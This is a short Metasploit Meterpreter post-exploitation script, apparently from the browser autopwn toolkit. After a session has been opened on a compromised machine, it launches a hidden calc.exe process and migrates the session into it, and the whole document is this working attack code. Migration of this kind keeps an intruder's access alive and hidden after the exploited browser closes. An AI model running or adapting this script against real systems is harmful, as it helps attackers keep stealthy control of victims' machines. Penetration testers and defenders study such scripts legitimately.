# # MSF browser autopwn script # jabra[at]spl0it.org # # The 'client' object holds the Meterpreter session # Aliasing here for plugin compatibility session = client # Extract the host and port host,port = session.tunnel_peer.split(':') print_status("New session on #{host}:#{port}...") print_status("Starting calc.exe ...") calc = client.sys.process.execute('calc.exe', nil, {'Hidden' => true }) # Do the migration print_status("Migrating to calc.exe ...") target_pid = calc.pid client.core.migrate(target_pid) print_status("Migration Complete!")